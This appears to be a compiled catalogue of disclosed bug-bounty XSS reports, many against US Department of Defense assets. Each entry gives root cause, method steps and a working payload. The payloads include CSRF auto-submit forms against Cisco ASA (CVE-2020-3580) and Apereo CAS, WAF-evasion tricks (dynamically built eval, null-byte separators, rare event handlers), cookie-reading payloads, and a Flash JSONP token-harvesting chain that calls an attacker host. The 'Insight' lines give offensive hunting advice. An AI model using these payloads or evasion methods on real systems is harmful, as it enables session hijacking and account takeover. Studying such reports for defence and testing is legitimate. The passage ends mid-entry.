- POST an auto-submit form to /+CSCOE+/saml/sp/acs?tgname=a with svg onload in SAMLResponse
- XSS executes
<form action="https://TARGET/+CSCOE+/saml/sp/acs?tgname=a" method="POST">
<input type=hidden name="SAMLResponse" value='"><svg/onload=alert('XSS')>'>
</form>
<script>document.forms[0].submit()</script>
Insight — Fingerprint edge/VPN appliances (Cisco ASA) and match to known CVEs; CVE-2020-3580 is a reliable reflected XSS on the SAML ACS endpoint delivered via auto-submit POST.
Real-world example
Reflected XSS bypassing F5 BIG-IP ASM via Safari-only event + eval obfuscation
◆ Medium
Specimen #3135626 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface web
Root cause
Telerik.ReportViewer.axd reflects input unsanitized; F5 BIG-IP ASM WAF blocks common event handlers/regex signatures but not obscure browser-specific handlers or dynamically-assembled eval.
Method
- Fuzz event-handler attributes against the WAF to find one it does not block
- Use onwebkitplaybacktargetavailabilitychanged on <audio> (fires in Safari)
- Assemble eval via an index-to-letter object map to dodge signature detection
- Confirm in Safari (BrowserStack)
<audio onwebkitplaybacktargetavailabilitychanged="{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(origin)"></audio>
# self['eval']('origin') assembled dynamically
Insight — Beat signature WAFs two ways: (1) enumerate rare/browser-specific event handlers the ASM regex set omits; (2) never write 'eval' or 'alert' literally - build the string from an object/array so no static signature matches.
Real-world example
Reflected XSS via anchor autofocus/onfocus with print() WAF bypass
◆ Medium
Specimen #3269780 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface web
Root cause
fname GET parameter reflected inside an attribute; an <A> with AutoFocus OnFocus auto-fires, and using print()/backtick invocation avoids WAF signatures for alert/confirm.
Method
- Set fname to break out of the attribute and inject an anchor
- Use AutoFocus OnFocus for no-click trigger
- Call print via backticks to bypass the firewall
fname=2013.026.jpg"'><A HRef=\" AutoFocus OnFocus=;1^(print)``^1>
Insight — When alert/confirm are WAF-blocked, use less-common sinks like print(); AutoFocus OnFocus on <a>/<input> gives an interaction-free trigger. Backtick invocation (fn``) is another signature dodge.
Real-world example
Stored XSS via unsanitized filename in directory listing
◆ Medium
Specimen #570568 · nodejs-ecosystem · none · 3 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
A static file server renders filenames into the directory-listing HTML without encoding, so a filename containing HTML/attribute-breaking characters executes as stored XSS when the listing is viewed.
Method
- Create a file whose name contains an XSS payload in a directory served by the tool.
- Start the static server and open the directory listing in a browser.
- The filename breaks out of its attribute/tag context and the script runs.
filename: " onmouseover=alert(1) "
Insight — File/directory names, ZIP entry names, and upload names are stored-XSS sinks whenever they are reflected into HTML (dir listings, file managers, admin panels). Test filenames containing < > " ' and event handlers. HTML-encode on output.
Real-world example
Stored XSS via file-proxy serving uploads inline (Rails Active Storage)
◆ Medium
Specimen #949513 · rails · USD 500 · 3 votes · resolved
Program railsSurface webTag file-upload
Root cause
Active Storage's Proxying controller sets Content-Disposition: inline for any blob regardless of type, and no CSP header is emitted for svg; an uploaded SVG with an onload handler executes on the app origin.
Method
- Upload alert.svg with an onload handler as an attachment
- Obtain the blob URL
- Swap /redirect/ for /proxy/ in the URL and open it directly -> SVG script runs inline
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns='http://www.w3.org/2000/svg' width="200px" height="200px" onload="javascript:alert(location)">
</svg>
Insight — File-serving/proxy endpoints that force inline disposition turn any uploadable SVG/HTML into stored XSS on the serving origin; CSP frequently is not applied to directly-served svg. Try flipping redirect->proxy style download routes.
Real-world example
Reflected XSS in affiliate/marketing landing pages (any GET param echoed)
◆ Medium
Specimen #732394 · clario · USD 300 · 3 votes · resolved
Program clarioSurface web
Root cause
Marketing/affiliate landing PHP scripts echo their tracking GET parameters (affid, trt, utm_*, email) straight into the page HTML without sanitization.
Method
- Find a landing/index.php that reflects tracking params
- Inject a script/img payload into one of the tracking params
- XSS fires
/landings/123.1/index.php?...&trt=29_5tse3g"><script>alert(document.domain)</script>xljdm...
/landings/land/3/.../index.php?kola=bro"></options></form><img src=x onerror=alert(document.domain)>
/unsubscribe?email=kolabro</script><script>alert(document.domain)</script>
Insight — Marketing/affiliate/unsubscribe landing pages are XSS goldmines: they reflect many attacker-controlled tracking params (affid/trt/utm_*/email) with no framework escaping. Fuzz every tracking param, not just obvious ones.
Real-world example
Stored XSS via unescaped filename/pathname in static-server directory listings
◆ Medium
Specimen #319794 · nodejs-ecosystem · none · 3 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
Static file-server modules build directory-listing HTML by string-concatenating file/dir names (and the request pathname) without HTML-encoding, so a filename containing HTML executes when the listing is viewed.
Method
- On a served directory, create a file or folder whose NAME is an HTML payload (e.g. "><iframe src=malicious.html> or <script>alert(1)</script>)
- Place the malicious HTML/JS in the same dir
- Load the server's directory index in a browser; the injected markup renders and executes
# filename as payload
"><iframe src="malicious.html">
# vulnerable sink pattern:
html.push('<li><a href="' + path + '/' + val + '">' + val + '</a></li>');
Insight — Any app that renders a directory/file listing (static servers, upload browsers, file managers) is a stored-XSS sink if names aren't he.encode()'d. Check both the per-entry name AND the page title/pathname (often only one is escaped).
Real-world example
Reflected XSS via template engine not escaping a JavaScript context
◆ Medium
Specimen #373950 · hannob · none · 3 votes · resolved
Program hannobSurface web
Root cause
Serendipity's Smarty template emits GET data into an inline <script> via {$var} without the |escape:'javascript' modifier; Smarty HTML-escaping (if any) is wrong for JS-string context, so ");alert();// breaks out.
Method
- Authenticated, hit the entries editSelect action with a filter/sort param
- Value is placed inside serendipity.SetCookie("...","HERE"); break the JS string with ");payload;//
/serendipity_admin.php?serendipity[action]=admin&serendipity[adminModule]=entries&serendipity[adminAction]=editSelect&serendipity[filter][author]=1xx");alert(document.domain);//
Insight — Template engines are context-blind: HTML-escaping a value emitted inside <script> does NOT stop JS-string breakout. Grep templates for {$var} / <%= %> inside <script> blocks lacking a js-escape modifier.
Real-world example
DOM XSS in username field via returnUrl flow, autofocus/onfocus payload
◆ Medium
Specimen #376027 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface web
Root cause
A troubleshoot/sign-in page writes attacker-controllable input (username, driven through nested returnUrl redirects) into the DOM without encoding; an autofocus/onfocus handler self-triggers.
Method
- Navigate the troubleshoot->signin returnUrl chain to reach the reflecting field
- Enter a comment-close + autofocusing element in the username field so it fires without interaction
--><button/autofocus/onfocus=Function("confirm`1`")();//name="XSS
Insight — autofocus+onfocus fires with zero user interaction; Function("...")() and backtick-call `confirm`1`` dodge filters blocking parentheses/space. Chase nested returnUrl parameters as the injection vector.
Real-world example
Reflected XSS reached by intercepting and stripping a redirect response (auth-bypass chain)
◆ Medium
Specimen #648305 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface webChain authorization-bypass (#648222) -> reach guarded page ->Tag account-takeover
Root cause
A vulnerable authenticated page (personnel.php content/folder param) is normally guarded by a server-side redirect; combining an authorization-bypass and manually removing the redirect in the response exposes the reflected XSS that would otherwise be hidden.
Method
- Chain with the auth-bypass from report #648222 to reach internal pages
- Request personnel.php?...&folder=FA_CERT' onmouseover=alert(1) '"&...
- In Burp, intercept the RESPONSE and delete the redirect so the reflecting page actually renders
- Hover the injected element to fire onmouseover
/personnel.php?content=training&folder=FA_CERT'%20onmouseover=alert(1)%20'%22&item=FA05.01.01&rcnum=rc22752
Insight — When a page 302-redirects before you can see reflected input, intercept and strip the redirect (or set intercept-on-response) to test the underlying HTML; access-restriction 'fixes' don't remove the XSS, they just hide it. Report such XSS separately from the access-control bug.
Real-world example
Stored XSS via filename echoed unencoded during a file action (favorite)
◆ Medium
Specimen #685491 · nextcloud · none · 3 votes · resolved
Program nextcloudSurface webTag file-upload
Root cause
Nextcloud echoes a file's name without HTML-encoding when the file is favorited, so an HTML payload embedded in the filename executes in the victim's session.
Method
- Upload a file whose NAME contains the payload, e.g. test'"><img src=x onerror=alert(document.location)>.pdf
- Trigger the vulnerable UI action: ... menu -> Add to favorites
- Payload fires in the context of the app
test'"><img src=x onerror=alert(document.location)>.pdf
Insight — File names are attacker-controlled stored input. Enumerate every place a name is rendered (list, favorites, notifications, sharing, activity feed) - a name safe in the file list may be echoed unencoded by a secondary action.
Real-world example
Reflected XSS via multi-context fromCharCode/CRLF polyglot across several params
◆ Medium
Specimen #686595 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface web
Root cause
A search endpoint (IIS/jQuery) reflects multiple parameters (searchDomain/tag/redirect/token) into differing HTML/JS contexts; a polyglot using String.fromCharCode() and CRLF breaks out of each.
Method
- Spray a polyglot across all reflected params (tag, redirect, token)
- Payload closes JS strings/comments and </SCRIPT> then opens a fresh <SCRIPT>, calling alert(String.fromCharCode(88,83,83))
alert(String.fromCharCode(88,83,83))//--%0D%0A></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Insight — String.fromCharCode(88,83,83) prints 'XSS' with no quotes, surviving filters that strip quotes; CRLF (%0D%0A) helps escape single-line // comments. Fire the same polyglot at every reflected param to hit whichever context is unescaped.
Real-world example
Reflected XSS via error page from a numeric param (Confluence socialbookmarking)
◆ Medium
Specimen #866861 · lab45 · none · 3 votes · resolved
Program lab45Surface web
Root cause
updatebookmark.action expects a numeric bookmarkPageId; supplying a non-numeric value throws an error page that reflects the raw input unencoded. Title/Labels POST params on the same endpoint are also reflected (deliverable via auto-submitting HTML form).
Method
- Send a non-numeric value to a numeric param to force an error page
- Inject "><img src=x onerror=...> which the error page reflects
- (POST variant) host an auto-submitting form targeting Title/Labels to deliver the reflected XSS cross-site
/wiki/plugins/socialbookmarking/updatebookmark.action?bookmarkPageId="><img src=x onerror=alert(document.domain)>
Insight — Type-mismatch error pages (feed a string to a numeric/int param) frequently echo raw input without the encoding the happy path uses - a reliable place to find reflected XSS. POST-only reflected XSS is still exploitable via an auto-submitting cross-site <form>.
Real-world example
POST-based reflected XSS delivered via CSRF/clickjacking
◆ Medium
Specimen #996535 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface webChain CSRF (auto-submit form) -> POST reflected XSS on victim
Root cause
A forgot-password endpoint reflects the frm_email POST parameter unencoded; because the form lacks effective CSRF protection, an attacker auto-submits it cross-site to deliver the reflected XSS to a victim.
Method
- Identify a POST param (frm_email) reflected unencoded on submit
- Build an auto-submitting CSRF form with frm_email set to the payload
- Victim visiting the attacker page submits the form and the XSS executes on the target origin
<form action="https://TARGET/" method="POST">
<input type="hidden" name="action" value="FFEXT_forgotpw">
<input type="hidden" name="frm_email" value='"><img src onerror=alert(document.domain)>'>
<input type="hidden" name="frm_zip5" value="NONE">
<input type="hidden" name="cmd_submit" value="Submit">
</form><script>document.forms[0].submit()</script>
Insight — POST-based reflected XSS becomes a real cross-user attack when the form isn't CSRF-protected: pair the reflected sink with a CSRF auto-submit to deliver it. Always check unauthenticated flows (forgot-password) for reflected input.
Real-world example
Reflected XSS via a hidden/undocumented parameter on an auth page
◆ Medium
Specimen #1029238 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface web
Root cause
An authentication/SSO page (tls_sso.php family) accepts an extra hidden parameter not shown in the UI that is reflected directly into the HTML source without sanitization.
Method
- Inspect the auth page source / fuzz for undocumented params (parameter mining)
- Append &HIDDENPARAM=TEST"><script>alert('XSS')</script> to the URL
- Payload reflects into source and executes
...&HIDDENPARAM=TEST"><script>alert('Reflected XSS')</script>
Insight — Hidden/legacy parameters (often leftover SSO/routing flags) are reflected unfiltered even when visible fields are hardened. Parameter-mine (Arjun/param brute) auth pages; a param 'useless to the flow' is a classic reflected-XSS sink.
Real-world example
Reflected XSS: URL-fragment focus (#id) to trigger onfocus without autofocus
◆ Medium
Specimen #1033253 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface web
Root cause
An ASP.NET search param (search.aspx?a=) reflects into an attribute; only <> are blocked but single quote is not, so an event-handler element is injected and auto-triggered by pointing the URL fragment at the element's name/id.
Method
- Break the attribute with ' and add an onfocus handler plus name='simo'
- Append #simo to the URL so the browser scrolls/focuses the named element, firing onfocus with no user interaction
/gri/ziptool/search.aspx?a=1simo'onfocus='confirm(document.domain)'name='simo'#simo
Insight — When autofocus is filtered or you can't inject a new tag, give your element a name/id and use the URL #fragment to focus it - onfocus then fires automatically. Great when only quotes/spaces are allowed (no <>).
Real-world example
Reflected XSS in Telerik ReportViewer.axd bgColor parameter
◆ Medium
Specimen #1223575 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface web
Root cause
The Telerik Reporting web handler reflects the bgColor query parameter into an HTML attribute unencoded, allowing an onload/event-handler breakout.
Method
- Locate a Telerik.ReportViewer.axd handler (fingerprint by path)
- Set optype=Parameters&bgColor=_000000"onload="prompt(1) to break the attribute
/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000"onload="prompt(1)
Insight — Telerik Report Viewer (.axd handlers) is a recurring known sink; when you see Telerik.ReportViewer.axd, test bgColor and other style/color params for attribute breakout. Product fingerprinting -> known-param XSS.
Real-world example
Reflected XSS via <details ontoggle> + %00 null bytes to bypass filtering
◆ Medium
Specimen #1252059 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface web
Root cause
A reflected parameter allows an attribute breakout; the filter is defeated by inserting %00 (null bytes) as token separators inside the tag, and <details open ontoggle> self-fires.
Method
- Break out of the attribute/tag with ">
- Inject <details open ontoggle=alert()> using %00 in place of spaces to bypass keyword/space filters
...=VALUE"><details%00open%00ontoggle=alert()>
Insight — <details open ontoggle> auto-fires without interaction (like autofocus/onfocus). NUL bytes (%00) as attribute separators are frequently stripped by the browser but not matched by naive regex filters - a reliable space-substitute for WAF evasion.
Real-world example
Unauth reflected XSS in Cisco ASA/FTD SAML ACS endpoint (CVE-2020-3580)
◆ Medium
Specimen #1277383 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface webTag saml
Root cause
Cisco ASA/FTD WebVPN/AnyConnect SAML SP assertion-consumer endpoint reflects the SAMLResponse POST parameter into HTML without encoding, enabling unauthenticated reflected XSS delivered via an auto-submitting form.
Method
- Host an HTML page with a hidden form targeting the appliance SAML ACS endpoint /+CSCOE+/saml/sp/acs?tgname=a
- Put the HTML/JS payload (HTML-entity encoded) in the SAMLResponse field
- Auto-submit the form via JS to POST it to the victim appliance; script executes in the ASA web interface origin
<form action='https://TARGET/+CSCOE+/saml/sp/acs?tgname=a' method='POST'>
<input type='hidden' name='SAMLResponse' value='"><svg/onload=alert(document.cookie)>'/>
</form>
<script>document.forms[0].submit();</script>
Insight — SSL-VPN / firewall web management interfaces (Cisco ASA/FTD, +CSCOE+ paths) expose unauth reflected XSS on SAML/login endpoints; POST-based reflection is reachable via an auto-submit form, and only specific WebVPN/AnyConnect configs are affected so probe the exact tgname/acs endpoints.
Real-world example
Fortinet SSL-VPN getconfig.esp reflected XSS via user param (CVE-2025-0133)
◆ Medium
Specimen #3206013 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
FortiOS SSL-VPN getconfig.esp endpoint reflects the unsanitized 'user' parameter directly into the HTML response, giving unauth reflected XSS on the VPN portal.
Method
- Craft a URL to the SSL-VPN getconfig.esp endpoint with an SVG/script payload in the user param
- Send the crafted link to a VPN user; JS executes in the portal origin (cookie/session theft, portal phishing)
https://TARGET/remote/getconfig.esp?user=<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("XSS")</script></svg>&domain=&computer=computer
Insight — Vendor VPN appliance ESP/CGI endpoints (getconfig.esp, login params) are recurring unauth reflected-XSS sinks; fingerprint the app-version and match to known CVEs, then reflect via the user/domain/computer params.
Real-world example
Flash content-type sniffing via reflected JSONP callback to read cross-domain tokens
◆ Medium
Specimen #3455 · slack · awarded · 2 votes · resolved
Program slackSurface webChain reflected callback -> Flash cross-domain read -> harveTag cors
Root cause
An endpoint reflects a user-controlled JSONP `callback` value into the response body without validating it or forcing the first bytes; a browser plugin (Flash) ignores Content-Type and executes the reflected bytes as a SWF, giving the attacker script execution in the target origin.
Method
- Find a JSONP/API endpoint that echoes the `callback` param verbatim at the very start of the body (e.g. api.slack.com/api/users.list?callback=...).
- Set `callback` to raw SWF file content so the response begins with a valid Flash header.
- Embed it as Flash: <object data="https://TARGET/api/users.list?callback=<swf-bytes>" type="application/x-shockwave-flash">.
- Flash renders the response in TARGET's origin, letting the SWF issue authenticated GET/POST reads of pages that display the victim's team/security tokens.
- Exfiltrate the harvested OAuth/API tokens to the attacker.
<object type="application/x-shockwave-flash"
data="https://api.TARGET.com/api/users.list?callback=<raw-SWF-file-bytes>">
</object>
Insight — Any reflected JSONP callback that lands at byte 0 of a response is a cross-domain code-exec sink for content-sniffing plugins. Fix pattern seen here: prepend a fixed JS comment / validate callback so the attacker never controls the first bytes. When hunting, look for callback= endpoints that don't restrict the callback charset or prefix.
Real-world example
Stored XSS via javascript: URI in a user-supplied file/URL field
◆ Medium
Specimen #122849 · shopify · 500 · 2 votes · resolved
Program shopifySurface webTag file-upload
Root cause
A gift-card artwork upload accepts a URL instead of a file; the supplied URL is rendered as a clickable link (href) without scheme validation, so a javascript: URI executes when the merchant/staff clicks it on the checkout page.
Method
- In a form that accepts a file OR a URL, switch to URL input
- Supply a javascript: URI (optionally suffixed with a real image URL as a comment to look benign)
- Add to cart and proceed to checkout; clicking the artwork link fires the JS in the checkout origin
javascript:alert(document.domain);//https://cdn.shopify.com/s/files/1/.../file.svg
Insight — Any field that accepts a URL and later renders it as an <a href> is a stored-XSS sink if the scheme isn't whitelisted; javascript:/data: URIs bypass HTML-encoding filters entirely. Comment out a trailing legit URL (//https://...) to pass superficial 'looks like a URL' checks.
Real-world example
Reflected XSS via JS-string breakout in social-share onclick handler
◆ Medium
Specimen #87168 · shopify · 500 · 2 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
Blog/share pages build Facebook/LinkedIn share buttons by concatenating the current page URL into an inline onclick=window.open('...URL...') handler; a single quote in a query param closes the JS string and injects arbitrary JS into the attribute.
Method
- Find pages with social-share buttons that echo the current URL into an onclick/window.open handler
- Append a param containing '); to break out of the JS string literal
- Victim clicks the share button and the injected JS runs
https://TARGET/videos/pop-up-shop?x=');alert(1)//
Insight — Share/print/tweet buttons that inline the page URL into onclick handlers are a classic reflected-XSS sink; the reflection context is a JS string inside an HTML attribute, so break out with ') and comment the tail with //. Same class covers any param reflected into an inline script call.
Real-world example
Stored XSS where product fields render unescaped in a secondary admin view
◆ Medium
Specimen #72331 · shopify · 500 · 2 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
Product title/description are stored safely in the create form but rendered without output encoding in a different admin view (the bulk variant/inventory editor), so the payload fires for staff opening that view.
Method
- Create a product with an XSS payload in Title and Description
- Navigate to the inventory/bulk-edit view (admin/products/inventory)
- Select the product and open 'Edit variants' - the stored payload executes
"><img src=x onerror=prompt(133)>
Insight — Test stored values in EVERY view that renders them, not just the primary display: bulk-editors, exports, admin dashboards, and secondary widgets often reuse the data without the encoding the main view applies. Input safe in one context is XSS in another.
Real-world example
CSP script-src 'none' bypass via IE (no CSP support) on an image proxy
◆ Medium
Specimen #395734 · duckduckgo · none · 2 votes · resolved
Program duckduckgoSurface webTag cors
Root cause
An image-proxy endpoint fetches and renders an attacker-controlled URL's content in the proxy origin; a strict CSP (script-src 'none') protects modern browsers but IE 11 ignores CSP entirely, so inline scripts execute there.
Method
- Host a page containing <script>alert(document.domain)</script>
- Point the proxy's image_host param at your page
- Open the proxy URL in IE - script runs in the proxy's origin despite CSP
https://proxy.duckduckgo.com/iur/?f=1&image_host=http://ATTACKER/xsspage
Insight — CSP is only as strong as the weakest supported browser. When script-src blocks execution in Chrome/Firefox/Edge, retest in IE11 which has no CSP support. URL/image proxy params (image_host, url, src) that render remote content are the sink.
Real-world example
Reflected XSS via ASP.NET cookieless-session path token (A(...))/(S(...))
◆ Medium
Specimen #984654 · deptofdefense · none · 2 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
ASP.NET cookieless sessions embed a token in the URL path as (A(...)) / (S(...)); the app reflects that path segment into the page (often into an attribute) unescaped, giving XSS inside the session-token slot.
Method
- Locate an ASP.NET app using cookieless sessions (URL contains (S(...)) or (A(...)) )
- Inject the payload inside the (A(...)) path token
- Load the page; the reflected token breaks into an attribute and fires
https://TARGET/Orders/(A("onerror='alert`x`'testabcd))/Login.aspx?ReturnUrl=/Orders
Insight — On ASP.NET WebForms, the (S(...))/(A(...)) cookieless-session path segment is a reflected-XSS injection point that scanners miss because it looks like an opaque token. Try attribute-injection payloads (onerror=, autofocus/onfocus) there.
Real-world example
Cisco ASA/FTD WebVPN SAML ACS reflected XSS (CVE-2020-3580)
◆ Medium
Specimen #1277389 · deptofdefense · none · 2 votes · resolved
Program deptofdefenseSurface webTag saml
Root cause
The Cisco ASA/FTD WebVPN SAML SP ACS endpoint (/+CSCOE+/saml/sp/acs) reflects the POSTed SAMLResponse parameter into the response without encoding on specific AnyConnect/WebVPN configs.
Method
- Identify a Cisco ASA/FTD WebVPN with SAML enabled
- Auto-submit a POST form to /+CSCOE+/saml/sp/acs?tgname=a with SAMLResponse set to an XSS payload
- Payload reflects and executes
<form action='https://TARGET/+CSCOE+/saml/sp/acs?tgname=a' method='POST'>
<input type='hidden' name='SAMLResponse' value='"><svg/onload=alert(document.cookie)>'/>
</form>
<script>document.forms[0].submit()</script>
Insight — Fingerprint appliances (Cisco ASA WebVPN via /+CSCOE+/ paths) and map their known-CVE XSS endpoints. SAML ACS endpoints frequently reflect SAMLResponse on error - a good POST-XSS surface.
Real-world example
Reflected XSS via Akamai ARL path misconfiguration
◆ Medium
Specimen #1305477 · deptofdefense · none · 2 votes · resolved
Program deptofdefenseSurface webChain Akamai ARL open-proxy -> reflected XSS on proxied origin Tag cors
Root cause
Akamai ARL (Akamai Resource Locator) path syntax /<n>/<n>/<n>/<hex>/<origin-host>/<path> lets you make an Akamai-fronted host proxy an arbitrary origin; that origin's reflected-XSS then executes under the Akamai/target hostname.
Method
- Identify an Akamai-fronted target (use goarl / akamai-arl-hack tooling)
- Craft an ARL URL that proxies an origin with a reflected sink
- Append the XSS payload to the proxied origin's param
http://AKAMAI_HOST/7/0/33/1d/www.citysearch.com/search?what=x&where=place"><svg onload=confirm(document.location)>
Insight — Akamai ARL misconfig turns a CDN edge into an open proxy to other origins; you can borrow another site's reflected XSS and have it run under the in-scope hostname. Recon with goarl/akamai-arl-hack against Akamai-fronted assets.
Real-world example
Apereo CAS POST-based reflected XSS via echoed username (CVE-2021-42567)
◆ Medium
Specimen #1446236 · deptofdefense · none · 2 votes · resolved
Program deptofdefenseSurface webTag saml
Root cause
Apereo CAS <= 6.4.1 REST API endpoints echo the submitted username / ticket id back in the rejection response without sanitizing, giving reflected XSS via POST.
Method
- Identify Apereo CAS (login endpoints, /cas/ paths) at vulnerable version
- Auto-submit a POST form to the REST endpoint with an XSS payload in username
- CAS rejects the request and reflects the payload -> execution
<form action='https://TARGET/cas/v1/tickets/' method='POST'>
<input name='username' value='<img/src/onerror=alert(document.domain)>'>
<input name='password' value='Mellon'>
</form>
<body onload='document.forms[0].submit()'>
Insight — Fingerprint the auth product (Apereo CAS) and pull its CVE. Error/rejection responses that echo submitted credentials are a reliable POST-XSS sink - deliver via auto-submitting form.
Real-world example
Attribute-injection XSS with autofocus+onfocus for zero-click trigger
◆ Medium
Specimen #1457493 · deptofdefense · none · 2 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
A search param is reflected inside an existing tag's attribute; you cannot break out of the tag, but you can inject new attributes, so onfocus + autofocus auto-fires without user interaction.
Method
- Reflect the param and confirm it lands inside an attribute (quotes echoed)
- Inject " to close the current attribute value, then add onfocus=alert() autofocus=
- The element auto-focuses on load and onfocus fires
?PARAM="onfocus="alert(document.domain)"autofocus="&submit=Search
Insight — When you're stuck inside a tag/attribute and can't inject < >, add event-handler attributes instead. autofocus+onfocus (on input) or onmouseover, onanimationstart, etc. give execution without breaking out of the tag.
Real-world example
Reflected XSS WAF bypass via onauxclick (right-click) event handler
◆ Medium
Specimen #1736432 · deptofdefense · none · 2 votes · resolved
Program deptofdefenseSurface web
Root cause
The project param is reflected unencoded into HTML; a WAF blocks common event handlers, but the less-common onauxclick handler (fires on middle/right mouse button) is not on the blocklist.
Method
- Confirm reflection of the param into HTML context
- When onclick/onmouseover are WAF-blocked, substitute a rarer handler like onauxclick and lure the victim with visible 'right click here' text
- Observe execution on auxiliary (right/middle) click
?project=aaa<h1 onauxclick=confirm(document.domain)>RIGHT CLICK HERE
Insight — When a WAF blocks the common event handlers, cycle through rarer ones (onauxclick, onpointerdown, ontoggle, onpageshow). Pair a user-interaction handler with lure text to keep the PoC interaction realistic.
Real-world example
Reflected XSS in .ashx image handler loc parameter
◆ Medium
Specimen #205360 · deptofdefense · none · 1 votes · resolved
Program deptofdefenseSurface webChain Reflected XSS -> session cookie theft / injected fake mil
Root cause
An images.ashx handler reflects the loc parameter into the HTML response without encoding, allowing tag-breakout and event-handler XSS / content injection (fake login forms).
Method
- Identify the .ashx handler and a reflected parameter (loc)
- Break out of the surrounding div and inject an img with onerror
- Confirm script execution / inject phishing content
/images.ashx?loc=%3C/div%3E%3Cimg%20src=%22youtube.com%22%20onerror=alert(%22TestingXSS%22)%3E
Insight — ASP.NET .ashx/.aspx handlers taking path/loc/redirect params are common reflected-XSS sinks; try tag-breakout + onerror when a value is echoed into markup. Pairs naturally with content-injection phishing on high-trust (.mil/.gov) domains.
Real-world example
Stored XSS in admin general-configuration field rendered app-wide
◆ Medium
Specimen #26482 · expressionengine · none · 1 votes · resolved
Program expressionengineSurface web
Root cause
An admin configuration value (site_index) is stored without sanitization and echoed into markup on every admin page, so a single injection persists across the whole control panel.
Method
- Submit the general-configuration form with a payload in site_index
- Visit any admin page
- Stored payload executes globally
site_index=index.php958f7"><script>alert('stored xss')</script>ab44a
Insight — Global config fields (site name, index page, footer, support email) are high-value stored-XSS sinks because their value is templated into every page. One injection = persistent XSS across the whole panel; great for admin-session hijack.
Real-world example
Reflected XSS via URL path segment reflected into inline JS variable
◆ Medium
Specimen #47235 · informatica · none · 1 votes · resolved
Program informaticaSurface web
Root cause
A URL path segment (the search term) is reflected into an inline JavaScript variable assignment; injecting ";code;t=" closes the string and injects statements into the page script.
Method
- Note that the search term appears in the URL path, not a query param
- Inject a JS-statement breakout as a URL-encoded path segment
- Reflected into var projectChooserUrl="..." -> statements execute
https://TARGET/community/marketplace/%22;alert(0);t=%22/?blkCatIds=free+apps&view=solution
Insight — Reflection sinks live in URL path segments too, and often land inside inline JS var assignments. Use ";stmt;dummy=" to keep the script valid. Always view-source to see whether reflection is HTML context or JS-string context and craft accordingly.
Real-world example
Reflected XSS behind Cloudflare: bypass via origin host + JS-plugin gadget to DOM XSS
◆ Medium
Specimen #168165 · secnews · none · 1 votes · resolved
Program secnewsSurface webChain reflected attribute-breakout -> colorbox gadget loads attTag cors
Root cause
Search query reflected into an HTML attribute value where the single quote is escaped/double-escaped but never HTML-encoded, letting the attacker close the attribute and inject tags. A front-end WAF and browser XSS Auditor otherwise block naive payloads.
Method
- Confirm the sink: request ?s=%27%3E%3Ctest%3E%3C and grep the response; the single quote breaks out of data-currentquery='...'
- Bypass Cloudflare WAF by sending the same request to the origin host (secnews.wpengine.com) instead of the fronted domain
- Defeat X-XSS-Protection / XSS Auditor by injecting a benign gadget instead of a <script>: set class=colorbox href=//attacker so the site's colorbox JS fetches and injects attacker HTML into the DOM
- Have attacker server respond with ACAO:* and a <script>alert(document.domain)</script> body; victim click triggers execution
# breakout probe
https://www.secnews.gr/?s=%27%3E%3Ctest%3E%3C
# gadget payload (colorbox loads arbitrary URL into DOM)
https://www.secnews.gr/?s=%27%20class%3Dcolorbox%20href=/attacker.com:9999%3E
# attacker.com:9999 response
HTTP/1.1 200 OK
access-control-allow-origin: *
access-control-allow-headers: x-requested-with
<script>alert(document.domain)</script>
Insight — When a site sits behind a WAF (Cloudflare) look for the un-fronted origin (e.g. *.wpengine.com, direct IP, staging host) to bypass filtering. When XSS Auditor blocks inline <script>, don't inject script directly — inject an existing client-side gadget (a plugin like colorbox that loads a URL into the DOM) so the malicious JS arrives via a same-origin fetch the auditor can't see.
Real-world example
Reflected XSS in profile email field via attribute breakout
◆ Medium
Specimen #799839 · deptofdefense · none · 1 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
User-supplied profile fields (email, generic query params) are reflected into HTML without encoding, allowing tag/attribute breakout with a standard image-onerror or script payload. Representative of a large cluster of DoD reflected-XSS reports.
Method
- Locate a reflected sink (profile edit email field, or any GET/POST param echoed into the page)
- Append an attribute/tag breakout payload after a valid-looking value
- Submit and confirm the injected element executes
# profile email field (multipart form)
email[original] = your_email@gmail.com"><img src=x onerror=alert(1);>
# common breakout variants seen across the cluster
"><img src=x onerror=alert(1)>
"><script>alert('xss')</script>
"/><script>alert(1);</script>
"></script><script>alert('xss')</script> # when reflected inside a <script> block (profile_id param, #1103033)
<img src=x onerror=alert()> # when injected into a bare path segment (#1252020)
Insight — Profile-edit fields (email, name, bio) and any reflected URL/POST parameter are first-class reflected-XSS sinks. Always try the value in-context: attribute breakout (">) for HTML-attribute reflection, </script> when the reflection lands inside a script block. Keep a valid prefix so server-side validation (e.g. email format) still passes.
Real-world example
Attribute-context XSS with no tag injection: tabindex + autofocus + onfocus
◆ Medium
Specimen #1252229 · deptofdefense · none · 1 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
Input reflected inside an existing HTML tag's attribute where angle brackets are filtered/encoded but the double quote is not, so the attacker cannot open a new tag but can inject new attributes onto the current element.
Method
- Detect a reflection inside an existing element's attribute where < > are blocked but " survives
- Close the current attribute with a quote and add event-handler attributes to the same tag
